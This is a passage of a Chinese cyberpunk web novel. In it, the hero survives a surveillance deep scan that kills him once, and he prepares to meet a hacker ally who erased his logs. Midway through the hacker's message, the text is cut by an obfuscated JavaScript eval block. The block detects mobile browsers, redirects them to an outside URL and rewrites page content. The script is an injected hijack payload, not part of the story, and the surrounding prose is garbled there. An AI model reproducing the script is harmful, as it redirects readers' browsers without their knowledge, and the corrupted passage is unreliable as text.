视野边缘出现了一个新的状态图标:伪装模式(未启动)。 同时,他收到了老枪的一条简短消息: 交易完成。工具已生效。下次需要时再联系。保持低调。 然后通讯彻底断开。 林越松了口气。 第一次地下交易,完成得还算顺利。他获得了一个实用的工具,而付出的信息——虽然敏感,但至少没有直接伤害任何人。 他看了一眼时间:下午三点二十分。距离下班还有一个多小时。 要不要现在就测试一下流量伪装工具? 他决定小范围测试。启动伪装模式,然后尝试访问一些平时不敢碰的数据——比如系统监控节点的实时状态查询(只读模式)。 伪装模式启动。 视野中的状态图标变成绿色:“伪装中(剩余时间:1小时59分)”。 林越尝试访问一个低敏感度的监控节点:街道清洁机器人的调度系统。 访问成功。没有警报。 他稍微大胆一点,尝试访问附近街区的公共监控摄像头列表。 访问成功。依然没有警报。 “有效。”林越心想,“至少对低层级数据有效。” 但他没有继续测试高风险目标。谨慎为上。 他关闭了所有非常规访问,回到了正常的筛选工作界面。 就在这时—— 警报。 刺眼的红色突然充斥了整个视野。 巨大的警告窗口强制弹出,盖住了所有其他界面: 警报级别:紧急 检测到:非授权数据访问(来源:历史数据档案馆-V3.0遗留接口) 访问内容:商业注册数据库-敏感实体查询 监控节点:认知异常研究-监控子节点 启动深度扫描协议 倒计时:10秒9秒8秒 林越的心脏骤停。 商业注册数据库查询?黑水酒吧的调查触发的? 但为什么是认知异常监控节点?那不是应该只监控他的DNA状态吗? 除非……黑水酒吧的查询触发了某种关联警报。或者,V3.0后门本身就被认知异常节点特别监控。 倒计时在继续:7秒…6秒… 林越的大脑飞速运转。 选项一:立即断开神经接口。 好处:中断扫描。 风险:触发“离线计时”,72小时后成为数字遗民。 而且扫描可能已经收集了部分数据。 选项二:用防火墙阻挡。 好处:不中断连接。 风险:防火墙只是初级版,对抗系统级的深度扫描成功率估计低于10%。 选项三:向系统报告“误触”。 好处:如果系统接受,可能免于惩罚。 风险:需要解释为什么访问黑水酒吧数据,为什么使用V3.0后门。解释不清会引发更深入调查。 选项四:用刚获得的流量伪装工具尝试掩盖。 好处:如果成功,可能混淆扫描目标。 风险:工具刚获得,未经充分测试。失败可能加重惩罚。 5秒…4秒… 林越做出了决定。 他同时启动了防火墙和流量伪装工具,并将伪装模式调整到最大强度——“模拟系统维护流量”。 然后,他准备了一个备用方案:如果扫描突破防御,他会在最后0.5秒主动断开神经接口,至少保留部分隐私。 3秒…2秒… 伪装工具的状态疯狂闪烁:“检测到高强度扫描流,正在尝试分流…” 防火墙提示:“负载97%,即将过载…” 1秒… 倒计时归零。 视野被刺眼的红色彻底覆盖。 不是窗口,而是整个视野——仿佛眼睛本身在流血。 然后红色开始旋转、扭曲,形成旋涡。旋涡中心传来巨大的吸力,不是物理上的,而是意识层面的。林越感觉自己的思维在被拉扯、撕裂。 神经接口强制接入了某个高优先级数据流。 不是他平时接触的那种温和的、结构化数据。而是……原始的信息洪流。 无数画面、声音、文字、符号、代码同时涌入。 他看到: 一个实验室,穿着白大褂的人围着一个透明的容器,里面悬浮着某种生物组织样本,样本表面闪烁着DNA螺旋的光泽。 一份研究报告的标题:“异常数据传导理论与认知异常激活实验”。 一张监控截图,地点是黑水酒吧门口,时间戳:三天前的晚上。截图里有一个模糊的人影,正走进酒吧。 一份人员名单,标题:“异常数据模式威胁度超过40%的观察对象”。名单不长,大概七八个名字。他在中间看到了自己的公民编号。 一个警告标志:黑水滴形状。标志下面有一行小字:“桥梁守护者协议-激活状态 22.过载崩溃 倒计时归零的瞬间,林越的视野被刺眼的红色彻底吞没。 不是警告窗口,不是提示框——是整个视觉皮层被强制注入了某种高优先级数据流。就像有人拿着高压水管,对着他的眼球内部直接冲刷。 红色。 纯粹的、饱和的、没有任何杂质的红色。然后是尖锐的刺痛,从后颈的神经接口处爆发,沿着脊椎向上蔓延,像电流一样瞬间窜遍整个头颅。他听到——或者说,是神经接口直接“输入”到听觉中枢的——系统的机械音: 深度扫描协议已启动。 目标:公民林越(临时公民编号:TC-2042-0715)。 扫描范围:神经接口完整数据记录、短期记忆缓存、生物特征波动模式。 预计完成时间:3分15秒。 三分钟十五秒。在正常情况下,这可能只是一段等待时间。但在数据洪流中,这像是永恒。 红色开始分化,变成无数个悬浮的透明窗口。每个窗口里都是不同的画面,以极快的速度闪现、重叠、破碎、重组。 林越看到: 一个实验室。无菌环境,穿着白大褂的研究人员围着一个透明的圆柱形容器。容器里悬浮着某种生物组织样本,样本表面闪烁着微弱的蓝色光晕——DNA螺旋的投影。样本在某种液体中缓慢旋转,表面偶尔浮现出复杂的符文图案。一个女性的声音(记录片段):“……异常数据扰动残留表现出明显的共振特性,在特定频率下激活率可达……” 画面切换。 一份研究报告的标题页面:“异常数据传导理论与认知异常激活实验——第七阶段总结报告”。作者署名被模糊处理,只有代号:“Project-λ”。日期:2038年4月。状态:已终止。终止原因:“实验伦理审查未通过,样本来源不明,建议封存。” 画面破碎,变成实验室监控录像的片段。白大褂人员匆忙收拾设备,将容器推走。背景里有争吵声:“……这是违法的!我们不知道这些样本从哪里来……”“……上面要求立刻停止,所有数据加密……” 林越感觉大脑在升温。不是比喻,是真的物理上的温度升高。神经接口传来灼烧感,像是有烙铁贴在皮肤下面。 实验数据的碎片还没完全消散,新的画面涌了进来。 黑水酒吧门口的监控截图。时间戳:三天前,晚上9点47分。画面里有一个模糊的人影正走进酒吧,看不清面容,但身形轮廓有种熟悉感——林越不确定是不是自己看错了。截图下方有系统自动标记:“关联度分析:与目标威胁度42%对象存在潜在空间交集概率37%。” 然后是名单。 “异常数据模式威胁度超过40%的观察对象名单(截至当前)” 名单不长,大概七八行。林越在中间看到了自己的公民编号:TC-2042-0715。旁边有简短的备注:“临时公民,信息筛选师学徒,威胁度42%(上升中),标签:重点观察。” 其他名字的备注各不相同: ?“A-07:正式公民,研究员,威胁度51%,状态:合作研究” ?“B-12:临时公民(已注销),无业,威胁度45%,状态:失踪(疑似清除)” ?“C-03:数字遗民(再教育中),威胁度48%,状态:意识格式化进度73%” 林越的心脏——如果在这个状态下还有心脏这个概念的话——猛地一紧。 “失踪(疑似清除)”。 “意识格式化进度73%”。 画面继续切换:多个数据节点的访问日志。密密麻麻的时间戳、访问路径、权限级别。他在其中看到了自己的记录——V3.0后门访问历史数据档案馆的时间、访问匿名数据层的坐标、查询黑水酒吧商业注册的请求…… 系统在复盘他的每一步。 “眼球……”林越想说话,但发不出声音。他感觉到眼球内部的压力在升高,毛细血管在破裂。轻微的“噗”声——可能是心理作用,也可能是真的微出血——在听觉中响起。 数据洪流的速度再次加快。不再是单个画面,而是无数信息流同时涌入。 黑水滴形状的标志出现在视野中央。不是静止的,而是在缓慢旋转,每转一圈就放大一点。标志下方有文字,起初模糊,逐渐清晰: 桥梁守护者协议-激活状态检测到异常数据传导特征威胁度:42%启动深度分析模块接入历史档案……接入基因数据库……接入监控网络…… 然后是系统提示,像是旁白,又像是某种宣告: 检测到“极端生理压力-数据扰动关联模式”记录:目标在神经过载崩溃(生理中断事件)过程中,异常数据扰动威胁度出现异常波动(+0.8%)分析:特定生理危机状态可能与该个体的异常数据扰动特性存在统计关联建议:提升观察优先级,纳入长期数据追踪列表 “极端生理压力……数据扰动关联?”林越的意识已经支离破碎,但这个概念抓住了他。系统在用冰冷的术语描述他的“死亡”。 死亡会激活他的DNA特性? 画面中开始出现加密数据包的碎片——那是他和老枪的交易记录。系统在尝试解密,但遇到了阻碍。数据包表面浮现出老枪的加密签名,系统提示:“访问受限,加密等级过高,需要更高级别权限或密钥。” 老枪的加密技术挡住了系统的窥探。至少暂时。 林越感觉自己的大脑在“沸腾”。 字面意义上的。神经接口传来的温度数据在他的意识边缘闪烁:42°C…43°C…44°C……还在上升。大脑的自我保护机制开始失效,神经信号变得混乱。 意识开始碎片化。 现代记忆闪现:公司加班到深夜的灯光,便利店关东煮的热气,电脑屏幕上永远改不完的代码…… 古代记忆交错:龙语世界沙漠的灼热,清水镇河床的湿土,云瑶苍白脸上的担忧…… 两段记忆碰撞、融合、扭曲。他看到自己坐在深网数据工坊的工位上,手里却拿着龙语世界的玉坠;他看到自己在清水镇挖井,但挖出来的是数据线和电路板…… 黑色幽默的残片在意识中漂浮: “这比产品经理的改需求通知还霸道……至少改需求还能argue一下……” “脑子确实不是U盘……U盘过载最多是文件损坏,这他妈是直接烧主板……” “数据尸体……要不要清理数据尸体?还是说系统会自己回收……” 疼痛达到顶点。 不是单一的痛,而是多层叠加:神经接口的灼烧,大脑高温的胀痛,眼球血管破裂的刺痛,意识被撕裂的虚无痛…… 然后—— 突然安静了。 不是疼痛缓解,而是神经信号传输中断了。 就像拔掉了电源线。 意识像断电的屏幕,从边缘开始变黑,黑色向中心收缩。视野中的红色旋涡、黑水滴标志、数据碎片,都被这黑暗吞噬。 最后清晰的画面:黑水滴标志充满整个视野,旋转成巨大的漩涡。漩涡中心是纯粹的黑暗。 林越最后的感觉:轻微的震动。 熟悉的震动频率。和龙语世界重生时一样。 然后彻底黑暗。 震动。 在纯粹的黑暗中,林越感受到了那熟悉的震动频率。不是物理上的身体晃动,而是意识层面的、某种根本性的震颤。频率很稳定,像是某种精密的机械在运作。 他在心里默默计数:一、二、三…… 不知道数了多少下。时间感知在黑暗中变得模糊。可能只有几秒,也可能有几分钟。 震动停止了。 黑暗没有立刻褪去,而是像浓雾一样慢慢变淡。先是边缘出现微弱的光感,然后逐渐向中心扩散。 林越睁开了眼睛。 他躺在公民服务中心临时宿舍的单人床上。 房间很简陋:金属床架,白色床单,一个小型储物柜,墙上有神经接口的充电底座。窗户外面是新长安城的夜晚,霓虹灯光透过玻璃,在墙壁上投下五彩斑斓的光影。 他做的第一件事是本能地抬起左手。 手腕。 三道红痕……不,现在是两道。 原本鲜艳的三道红痕,现在只有两道还保持着鲜红色。第三道红痕已经彻底消失,只在原处留下一个极淡的、几乎看不见的印记,那印记也在迅速褪去。 数字确认:3 → 2。 第一条命用掉了。林越盯着手腕,“不能再‘赌一把’了,现在得改成‘精算一把’。就像手里只剩最后两个硬币,得判断哪个扭蛋机出货率更高。” 林越盯着手腕看了几秒,然后长长地吐出一口气。气息在安静的房间里显得格外清晰。 身体开始传来反馈。 “脑仁疼得像是被塞进了一整本《系统漏洞百科全书》,还是精装硬壳版。”林越内心吐槽,“这肌肉反馈,堪比第一次去健身房就挑战极限重量——结果发现是被人‘强制重启’了。” 头部有剧痛残留,不是尖锐的痛,而是沉闷的、弥漫性的痛,像宿醉后第二天醒来。神经接口处有灼烧感,他伸手摸了摸后颈,皮肤发红,有点烫。肌肉无力,尝试坐起来时手臂微微发抖。呼吸比平时急促,胸口发闷。 口腔里有血腥味。 他舔了舔牙齿,没发现明显伤口。可能是内部出血,或者咬到了舌头——在死亡过程中无意识的行为。 林越慢慢坐起来,靠在床头。窗外的霓虹灯光变幻,蓝的、红的、绿的,交替映照在墙壁上。新长安城永不眠,就像它的监控系统一样,永远在线。 “第一条。”他低声说。 声音沙哑。 他闭上眼睛,回忆刚才的死亡过程。数据洪流、实验碎片、监控记录、警告标志……还有那个概念:“死亡激活”。 威胁度在死亡过程中上升了。 系统注意到了。 他重新睁开眼睛,视野边缘自动浮现出个人数据面板——神经接口恢复了正常功能。面板上的信息在更新,几条新消息弹出: 欢迎回来,公民林越。 检测到非正常生理中断,已记录。 建议:前往医疗中心检查神经接口稳定性。 当前状态:虚弱(恢复中) 预计恢复时间:4-6小时。 林越忽略了建议,直接查看核心数据。 个人数据面板展开,详细信息逐行显示。 DNA状态: 异常数据模式威胁度:43%(原42%) 状态:重点观察(升级) 新增子标签:近期经历深度扫描-结果:神经过载崩溃 备注:检测到“极端生理压力-数据扰动关联模式”,威胁度在神经过载崩溃(生理中断事件)中出现异常上升(+1%)。该关联性原理未知,已记录。 系统记录: 深度扫描事件:已记录 时间:今日 15:47:22 - 15:50:37 触发原因:认知异常监控节点检测到非授权数据访问 结果:目标生理中断(神经过载崩溃) 扫描数据状态:部分损坏/不可读 社会信用积分: 当前积分:72(原75) 变化原因:工作效率中断(-3) 评估:轻微影响,预计3个工作日内可恢复 其他标签: 临时公民身份:有效(剩余评估时间:26天) 离线计时:0小时(正常) 推荐行动:建议休息,避免高强度数据接入 林越盯着那个数字:43%。 真的上升了。不是错觉,系统明确记录了“死亡激活”模式。 他切换视图,检查系统日志。 深度扫描的记录存在,但确实不完整。开始时间和结束时间有记录,触发原因明确,但关键的“扫描过程数据”和“分析结果”两个部分被标记为“数据损坏/不可读”。 尝试访问详细信息时,系统提示:“该部分数据因存储错误或外部干预导致损坏,无法读取。如需恢复,请提交数据修复申请(需要二级以上权限)。” 外部干预。 林越想起了老枪。 他继续检查V3.0后门的访问痕迹。通过后门进入底层缓存区域,发现缓存数据部分被清理了。粗略估计,大约80%的痕迹消失了,包括他访问黑水酒吧商业注册数据库的那段记录。 但还有20%残留。 这些残留数据被加密了,无法直接读取。从结构看,加密方式很复杂,不是系统自带的加密算法。 “老枪清理了大部分,但没清理干净。”林越分析,“要么是时间不够,要么是剩下的部分太深,硬删会触发二级警报。” 他最后检查与老枪的交易记录。 在常规系统日志中,完全找不到相关记录。就像那段交易从未发生过。老枪处理得很干净。 林越靠在床头,闭上眼睛。 心理冲击开始显现。 首先是一种数字层面的恐惧:在龙语世界,死亡就是死亡。身体停止运作,被埋葬或丢弃。但在监控世界,他的“死亡”(或者说,系统记录中的“神经过载崩溃”这类生理中断事件)会被系统记录、分析、归类。他的每一次死亡,都在为系统提供更多关于“异常数据扰动”的数据点。 “死亡不是结束,而是另一个开始——被系统分析、归类、标记的开始。” 紧接着是紧迫感的强化:只剩下两条命了。而且现在系统记录下了他的DNA数据在“神经过载崩溃”这类极端生理事件中会出现扰动,并贴上了观察标签。这意味着如果他再经历一次类似事件,系统可能会采取更激进的措施——直接抓捕进行“研究”,或者纳入某个长期观察计划。 “不能再死了。”林越想,“至少,不能再以‘神经过载崩溃’这种方式死。系统会学习,会调整策略。” “至少这次不用洗血衣,不用埋尸体……等等,数据尸体要不要清理?系统会不会有‘数据殡葬业’?” “这死亡体验,直接强制执行,连个‘确认’按钮都没有。而且这‘死亡激活’的成就系统,奖励也太坑了——DNA经验值+1,代价是一条命。这兑换比例,堪比游戏里最黑心的商城。” “脑子不是U盘,别乱插拔……现在是真的‘拔’了,还带火花的那种。” “死亡激活……听起来像某种成就系统。死亡一次,DNA经验值+1。再来几次是不是能升级?” 用玩笑缓解恐惧。这是他在龙语世界养成的习惯,现在成了重要的心理防御机制。 最后,他强迫自己进入程序员思维模式。 “死亡原因:V3.0后门访问黑水酒吧数据,触发认知异常监控节点。” “根本问题:对监控节点特性和响应机制了解不足。” “解决方案:需要更完善的伪装,或者避免触发该节点。但前提是,得知道哪些节点会触发,以及为什么。” “信息不足。”林越得出结论,“需要更多关于监控系统架构的信息。” 他想起了老枪。 林越重新接入系统,这次不是查看常规日志,而是深入底层结构。 他在系统日志的“回收站/临时缓存”区域发现了一个加密数据包。这个区域通常是存放即将被永久删除的数据的临时空间,数据会在24小时后自动清理。 数据包的加密方式很熟悉——和老枪之前使用的签名算法匹配。 林越调出之前与老枪交易时获得的基础解密工具。工具很简单,只能处理老枪加密体系中的低等级加密,但足够破解这个数据包。 解密进度条缓慢移动:10%...30%...70%... 100%。 数据包展开,里面是一段留言。 发件人:[加密标识,与老枪签名威胁度99.7%] 时间戳:深度扫描结束后1.2秒 内容:“第一次,我帮你擦了屁股。扫描日志的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151926|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键部分我删了,包括你访问黑水酒吧记录的那段。V3.0后门的缓存痕迹清理了80%,剩下的太深,硬删会触发二级警报。我们的交易记录我处理干净了。别谢我,你欠我一次。——老枪” 附注:你的威胁度在扫描中上升了1%,系统可能已经注意到“死亡激活”现象。小心点。 林越盯着这行字看了很久。 他的第一反应是警惕:老枪能删除系统日志。这不仅仅是技术高超的问题,这涉及到系统权限。普通黑客,哪怕是顶级黑客,也很难在不触发警报的情况下删除系统日志。除非…… “除非他曾经是系统内部人员,或者现在仍然是,只是用了某种后门。”林越想,“或者,他有特殊权限。” 接着是疑惑:为什么要帮自己?仅仅是“测试诚意”?还是说,自己身上有什么老枪需要的东西? DNA异常?异常数据传导特性? 老枪在附注里特意提到了威胁度上升。这说明他不仅监控了扫描过程,还实时分析了扫描数据。 然后,一丝感激浮现:无论如何,老枪确实帮了大忙。如果没有那些记录被删除,林越现在可能已经被系统标记为“高风险威胁”,甚至直接被抓捕。 最危险的部分——访问黑水酒吧的记录——被清理了。交易记录也消失了。这给了他喘息的空间。 紧接着是债务意识:“你欠我一次。” 在灰色世界,在匿名数据层,债务关系往往比友谊更牢固。友谊基于情感,可能随时变化;债务基于利益和规则,更稳定,但也更危险。 老枪在建立这种关系。 最后,新的问题产生:老枪如何实时监控到扫描并立即干预? 深度扫描结束后1.2秒就删除了关键日志。这意味着老枪要么有实时监控认知异常节点的能力,要么在系统内部有“眼睛”。 林越重新评估风险: 首先,利好的方面: 1.最危险的记录被清理 2.交易记录消失,减少了直接证据 3.老枪展示了合作价值(和能力) 其次,风险的方面: 1.威胁度上升,系统可能标记“死亡激活”模式 2.V3.0后门20%痕迹残留,可能被未来深度扫描发现 3.欠老枪一次,需要偿还——偿还方式未知 最后,未知的方面: 1.老枪的真实意图 2.老枪的能力上限 3.老枪与系统的真实关系 林越靠在床头,看着窗外的霓虹灯光。 “得联系他。”他决定。 林越通过之前与老枪建立的加密通道,发送了一条简短消息: 收到。怎么还? 消息发送成功。通道状态显示“已送达”,但未显示“已读”。 林越知道需要等待。现在更重要的是复盘和计划。 他开始复盘死亡过程:V3.0后门访问黑水酒吧数据,触发认知异常监控节点。 但根本原因更深刻:他对监控系统的架构了解不足。不知道哪些节点是“敏感节点”,不知道它们的触发条件和响应机制。 “就像在迷宫里走,不知道哪里会触发警报。”林越想,“需要地图。” 在数据世界,“地图”就是监控系统的架构图、节点分布、权限层级、数据流向。 新策略在他的脑海中形成: 1.短期目标(1-3天): ?从老枪那里获取关于监控节点的基本信息 ?建立更基础的防护,避免再次触发同类型警报 ?恢复身体状态(神经接口稳定性) 2.中期目标(1-2周): ?建立三层身份伪装体系(表面身份、灰色身份、应急身份) ?系统性地探索V3.0后门的更多功能,但更谨慎 ?了解黑水酒吧的真相(在更安全的前提下) 3.长期目标(通关): ?找到在监控系统中创建“合法盲区”的方法 ?满足通关条件:在绝对监控下成功保护隐私和自由 ?活着离开这个世界 他接着思考与老枪的关系: 老枪展示了价值:技术能力、系统知识、实时干预能力。 也展示了威胁:能删系统日志,意味着也能做其他事情。如果老枪有恶意,林越可能已经完了。 债务关系已经建立。“欠我一次”需要偿还,但偿还方式需要谈判。林越不想用核心秘密(穿越、轮回)来偿还。 他考虑了几种可能的偿还方式: ?提供信息筛选师内部的观察报告(更深入) ?帮助老枪解决某个技术问题 ?在未来某个时刻“还一次人情” 他的底线很明确:不暴露自己是“穿越者”。这个秘密太危险,一旦暴露,可能引发无法预料的后果。 最后,他调整了生存优先级: 看着手腕上仅剩的两道红痕,林越重新排序: 第一条:避免再次触发认知异常监控节点(或其他敏感节点)。 第二条:快速建立有效防护,应对可能的后续扫描。 第三条:在只剩两条命的情况下,任何行动都必须有更高成功率预估。不能再“赌一把”。 他想起《跨世界生存通用准则》的第三条:资源储备(包括生命资源)。 生命是最宝贵的资源。现在,这项资源只剩下三分之二。 半小时后,加密通道收到了回复。 林越正在尝试分析那20%残留的V3.0后门痕迹,试图理解加密结构,这时视野边缘闪烁提示:新消息。 他打开消息。 “明天,同一个匿名层,新坐标。带点有用的来。比如……你是怎么在神经过载崩溃后,威胁度反而上升的?我很好奇。”——老枪 消息下面附着一个加密坐标,一次性使用,12小时后失效。 林越盯着那行字。 老枪注意到了。 不仅注意到了,还直接问了出来。这不是随意的好奇,这是精准的提问,直击核心。 “你是怎么在神经过载崩溃后,威胁度反而上升的?” 这个问题触及了林越最深的秘密。 穿越、轮回、异常数据传导现象、异常数据扰动残留……这些概念纠缠在一起,构成了他存在的异常本质。 他不能说实话。 但不能完全说谎——老枪技术高超,可能能检测谎言,或者通过其他方式验证。 需要准备一个“足够真实但不暴露核心”的解释。 一个基于部分事实,但隐瞒关键信息的解释。 林越坐在床边,看着窗外的新长安城夜景。霓虹灯光依旧闪烁,数据流在城市上空无声流动。这座永不眠的城市,永远在监控、分析、记录。 他抬起左手,两道红痕在霓虹光的映照下显得格外刺眼。 鲜红色,像新鲜的伤口,又像某种倒计时。 “两条命。”他低声说。 不能再以会被系统记录和分析的方式死。 不能再暴露更多异常。 明天要去见老枪。要带“有用的”东西去。要回答那个关于DNA的问题。 林越躺回床上,闭上眼睛。 身体依旧虚弱,头痛没有完全消退。神经接口处还有轻微的灼烧感。 但他大脑已经开始运转,像一台精密的机器,开始构建明天的对话策略、信息筛选、风险控制…… “编故事比写代码还难。写代码至少有编译器报错,编故事只能祈祷老枪不是‘人形编译器’。”林越内心吐槽,“对比两种解释方案:方案A:我是天选之子(听起来像三流网络小说)。方案B:我是实验室意外产物(听起来像B级科幻片)。选B吧,至少更‘科学’——虽然这‘科学’的严谨程度和星座运势差不多。” 最后,在意识沉入睡眠之前,他想: “明天……得编个好故事。” 23.三层伪装 今天有一件必须做的事:见老枪。 昨晚收到老枪的消息:“明天,同一个匿名层,新坐标。带点有用的来。比如……你是怎么在神经过载崩溃后,威胁度反而上升的?我很好奇。” 问题直击核心。 林越需要准备一个解释。一个“足够真实但不暴露核心”的解释。 他坐在床边,开始构建故事框架。 对比两种解释方案: 方案A:我是天选之子,天生异禀,基因特殊——听起来像三流网络小说的开篇,主角光环亮得刺眼。 方案B:我是非法基因实验的志愿者(或者说,受害者),实验出了意外,留下了后遗症——听起来像B级科幻片的情节,但至少更“科学”。 “选B吧。”林越决定,“虽然这‘科学’的严谨程度和星座运势差不多,但至少有个‘实验事故’的壳子,能解释为什么我的DNA会异常,为什么威胁度会上升,甚至为什么我对这个世界的某些技术有‘共鸣’。” 他需要填充细节。 非法基因实验的主题是什么?认知异常激活?异常数据传导研究?样本来源?实验地点?时间?参与者?结果? 林越开始从系统的公开数据库里搜索相关信息。通过神经接口,他访问了公民可查询的科研档案库,关键词:“基因实验”、“古生物”、“已终止”、“伦理问题”。 结果不多,但有几个案例。 其中一个:2037年,新长安城外围的“生物技术研究所”开展过一项名为“史前基因片段激活与人体适应性研究”的研究。该研究在2038年初被叫停,原因:“伦理审查未通过,样本来源不明”。研究负责人被匿名处理,代号“研究员-λ”。 另一个:2039年,有媒体报道过“非法基因改造黑市”的存在,主要服务对象是富豪和想要“优化后代”的家庭。报道很快被删除,但留下了痕迹:交易地点通常在第七区的某些地下场所,使用加密货币支付,实验风险极高——“成功率不足30%,后遗症未知”。 林越把这些信息记下来,不是用神经接口直接存储(那会被记录),而是用最原始的方法:纸笔。他从储物柜里找出公民服务中心提供的便签本和笔,写下关键点: 1.实验性质:非法认知异常激活实验 2.时间地点:2038年左右,第七区地下实验室 3.参与者:匿名“研究员-λ”主导,多名志愿者(付费或被骗) 4.结果:大部分志愿者出现基因不稳定、威胁度波动、神经敏感等后遗症 5.现状:实验被叫停,相关人员失踪,数据被封存 写完后,他把便签纸撕碎,冲进马桶。 记忆留在大脑里就够了。 接下来是谈判筹码。 老枪要“有用的”东西。什么是有用的?对老枪来说,有用的可能是:系统内部信息、技术漏洞、权限访问方法、或者其他敏感数据。 林越盘点自己手里的资源: 1.信息筛选师内部观察报告:他这四天的工作,接触了大量公民数据筛选任务。虽然只是学徒级别,但他注意到了系统对“异常行为”的判定模式、标记标准、优先级排序。这些方法论层面的东西,比具体数据更有价值。 2.V3.0后门的新发现:昨天虽然触发了警报,但他对V3.0遗留接口有了更深入的了解。知道哪些路径相对安全,哪些会触发警报,以及……那个匿名数据层的入口坐标。 3.黑水酒吧的调查线索:商业注册记录显示法人是“数字幽灵”,内部监控0%,有“特殊豁免”。虽然触发警报,但这条信息本身有价值——老枪明显对黑水酒吧感兴趣。 4.认知异常监控节点的特性:亲身经历了一次深度扫描,知道了这个节点的触发条件、响应速度、扫描范围。虽然代价是一条命,但这信息对想要规避系统监控的人来说,是黄金情报。 林越决定主要提供第一项:信息筛选师内部观察报告。这部分相对安全,不涉及他自己的核心秘密,但对老枪可能有实用价值。 他花了半小时整理报告。 不是写成正式文档,而是提炼出几个核心观察点: ?异常行为判定阈值:系统对“偏离正常行为模式”的容忍度在逐步收紧。四天前,某个行为需要偏离标准值20%才会被标记;现在只需要15%。 ?重点监控对象的变化:系统最近加强了对“异常数据模式威胁度高”和“神经接口使用模式异常”两类人的监控。这两类有重叠趋势。 ?数据再教育优先度调整:“数字遗民”的处理速度在加快。以前从标记到抓捕平均需要48小时,现在缩短到24小时。 ?临时公民评估标准:转正评估不仅看工作效率,还增加了“社会适应性”和“系统信任度”两个新维度。后者很难量化,但影响很大。 整理完后,林越看着这些观察点,心里泛起一丝荒诞感。 “这观察报告详细得可以拿去当‘模范员工行为指南’。”他内心吐槽,“如果‘模范’的定义是‘被系统重点观察’的话。” 但这就是他现在的处境:一边被系统重点观察,一边还要假装自己是个努力转正的好公民;一边要保护自己那点可怜的隐私,一边还得跟老枪这种神秘人物打交道,用情报换生存工具。 “系统需求永远不明确,我的资源永远不够,还得应付老枪这种‘技术型债主’。”林越摇摇头,“这生存难度,堪比在雷区里跳踢踏舞。” 但他没有选择。 要么跳,要么死。 上午九点,林越离开公民服务中心,前往深网数据工坊上班。 身体状态依旧不佳,头痛没有完全消退,神经接口处还有轻微的灼烧感。但他必须维持表面正常——请假会引起系统注意,而且他需要信用积分。 工坊里,陈主管看到他时皱了皱眉。 “你脸色很差。”她说,“昨天的事我听说了,神经过载崩溃。建议你今天只做基础筛选,别碰复杂任务。” 林越点头:“明白。” 他心里清楚,陈主管的“建议”其实是命令。而且系统肯定给了她指示:对这个重点观察对象,要控制工作强度,避免再次崩溃。 但他需要的不只是控制强度,还需要……时间。 今天下午要见老枪。他需要至少两小时的空档,不被监控,不被干扰。 林越坐在工位上,打开数据筛选界面,开始机械地执行任务。同时,他启动了昨天从老枪那里获得的流量伪装工具。 工具状态:伪装模式(剩余时间:1小时58分)。 他小心翼翼地测试工具效果。先访问几个低敏感度的公开数据库,观察系统反应。一切正常,没有警报。 然后他尝试做了一件事:在神经接口里创建了一个临时的“思维隔离区”。 这不是物理上的隔离,而是意识层面的分区。他把关于老枪会面、DNA解释、谈判策略的所有思考,都集中在这个区域里,与表面的筛选工作思维完全分开。 就像在脑子里开了两个窗口,一个在前台运行“数据筛选.exe”,一个在后台运行“生存策略.exe”。 这种感觉很诡异。一边要维持表面的平静(标记数据、偶尔喝口水、抬头看看周围),一边要在意识深处精密计算(DNA解释的细节、谈判的底牌、可能的风险)。 而且他还要时不时切换回前台,防止“数据筛选.exe”卡死或出错。 “这比多线程编程还烧脑。”林越内心吐槽,“至少编程时线程崩溃了可以重启,我现在要是‘崩溃’了,可能就是字面意义上的崩溃。” 但他撑住了。 上午的工作在缓慢推进。筛选了127条数据,准确率98.4%(故意犯了两个小错,维持“正常学徒”水平)。信用积分加了3分,现在是75分。 中午休息时,林越去了工坊食堂。他选了个角落的位置,监控覆盖率92%(相对较低)。一边吃合成营养餐,一边在意识深处继续完善DNA解释方案。 关键难点在于:如何解释“死亡激活”现象? 老枪明确问了:“你是怎么在神经过载崩溃后,威胁度反而上升的?” 系统记录显示,他的威胁度在深度扫描过程中上升了。这个现象很特殊,普通基因异常者不会这样。 林越需要给一个合理的解释。 他构思了这样一个故事: “非法基因实验使用了某种‘应激激活’技术。实验者的基因被修改成具有‘压力响应’特性——在极端压力下,认知异常片段会被激活,威胁度上升。这是实验设计的一部分,目的是测试实验体在危机情况下的适应性。” 听起来很“科学”,而且能解释为什么他在神经过载崩溃(极端压力)后威胁度上升。 但老枪可能会追问:为什么其他实验者没有类似报告?为什么系统数据库里没有相关记录? 林越准备了备用答案:“实验被紧急叫停,大部分数据被销毁。我是少数几个‘成功’(或者说,幸存)的案例。系统可能不知道这个实验的具体细节,或者相关数据被加密封存了。” 这个解释有漏洞,但至少能自圆其说。而且,它暗示了一个可能性:林越身上可能有“实验方”想要回收或研究的东西。 这对老枪来说,可能是个有价值的线索——如果他真的在调查认知异常相关秘密的话。 下午一点,林越收到了老枪的加密消息。 不是通过神经接口的直接通讯(那会被记录),而是通过V3.0后门接入匿名数据层,在一个一次性存储节点里找到的。 消息很简单: 坐标:[加密字符串,12字符]时间:14:00过期:14:10别迟到。——老枪 林越记住了坐标。不是用神经接口存储,而是用大脑记。坐标是一个12位的加密字符串,看起来随机,但可能有某种规律。 他看了一眼时间:13:05。还有55分钟。 他需要找一个安全的地方接入匿名数据层。工坊不行,监控太密。公民服务中心的宿舍也不行,虽然相对私密,但神经接口的接入记录会被系统看到。 他需要一个“灰色地带”。 林越想起昨天在第七区商业街看到的那些店铺。其中有一家“神经接口快速维修”店,就在黑水酒吧旁边。那种地方通常提供付费的临时接入服务,而且……不过问客户用途。 风险在于:这种地方可能被系统标记为“高风险区域”,经常有合规检查。 但时间紧迫。 林越向陈主管申请提前下班,理由是“身体不适,需要休息”。陈主管瞥了他一眼,大概想起了昨天的神经过载崩溃,同意了。 “明天准时到。”她说,“你的转正评估还有25天。” 